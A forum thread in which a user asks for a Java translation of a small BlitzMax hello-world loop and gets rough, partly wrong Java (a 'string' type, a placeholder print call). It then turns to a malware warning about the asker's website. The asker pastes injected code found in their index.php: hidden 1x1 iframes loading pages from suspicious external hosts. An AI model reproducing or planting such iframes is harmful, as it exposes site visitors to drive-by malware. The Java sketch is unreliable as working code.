Java equivalent to this max code?
Community Forums/General Help/Java equivalent to this max code?
| ||
I am trying to get my struddle around Java, I thought I knew OOP with Max but damn this stuff is hard to get a grip off. Everything must be a class?!?! I just need a rosetta stone so I have a starting point, could any one write the java equivalent of the Max code below? That should give me the grounding I need. Strict 'setup Global HelloName:String = "Billy bob!" ' main loop Repeat HelloWorld(HelloName) Forever 'functions Function HelloWorld(Name:String) Local Welcome1:String = "Welcome " Local Welcome2:String = ", how are you doing? The time now is " Local TheTime:Int = MilliSecs() ' this will do for time Print Welcome1+Name+Welcome2+TheTime End Function |
| ||
I've learned a bit of Java at university (theoretically, enough to land me a job), however my mind rejects it and my being hates it. I can't say I remember enough to convert the code, but here's a start: you can't get away without a class. Your whole application must be inside a class. Something along the lines of: class MyApp { string HelloName; void main() { while(true) { HelloWorld(HelloName); } } void HelloName(string Name) { string welcome1 = "Welcome "; string welcome2 = ", how are you doing? Time now is " int TheTime = 0; //I have no idea how to do this system.something.WriteLine(welcome1+Name+welcome2+TheTime); //can't really remember all of it :( } } Hope this gives you a head start :) |
| ||
This should help you: http://download.oracle.com/javase/6/docs/api/ For the time, you'll want to look at the Time class, and for the printing, System.out. This reference has always served me well. |
| ||
Hmmmm.... shouldn't "HelloName" be marked public and static or something? Otherwise surely it's a private (maybe that part's not important) instance field... For that matter, all your methods, fields and classes are expected to have public/private/protected specifiers. I thought I knew OOP with Max but damn this stuff is hard to get a grip off. Everything must be a class?!?! Believe it or not there are people in the world who don't believe Java is OO-enough. |
| ||
Thanks all, _JIM that gives me a good base, why cannot everything be as easy as MAX :p still BMX2 should be good fun. For now I'll play with java. |
| ||
@coffeedotbean Something on your web site is being detected as suspicious/malware by Avast. Might be worth checking. |
| ||
Google Chrome reports this as being the culprit: http://web-traffic.cz.cc/show.php Probably a website counter or something. |
| ||
It may very well be something harmless. But Avast is very popular and some of the people visiting the site to buy games are bound to be put off. |
| ||
Thanks for the heads up, i'll check it out when I get home. Only seems to be the index.php page showing this so might of been infected... quite scary. Some how this code <html><body> <iframe src="http://teleam.com/tds/main.php?site=1" width="1" height="1" style="display:none;"></iframe> <iframe src="http://web-traffic.cz.cc/show.php?s=6614575c09" width="1" height="1" style="display:none;"></iframe> <iframe src="http://web-traffic.cz.cc/show.php" width="1" height="1" style="display:none;"></iframe> </body></html> got appended to the bottom of my index.php file?!!? file was modified September 28th. I am not too up on website hacking but other then through my username.password how else can a website be hacked? want to avoid this in the future for sure. Thanks again for the heads up guys. |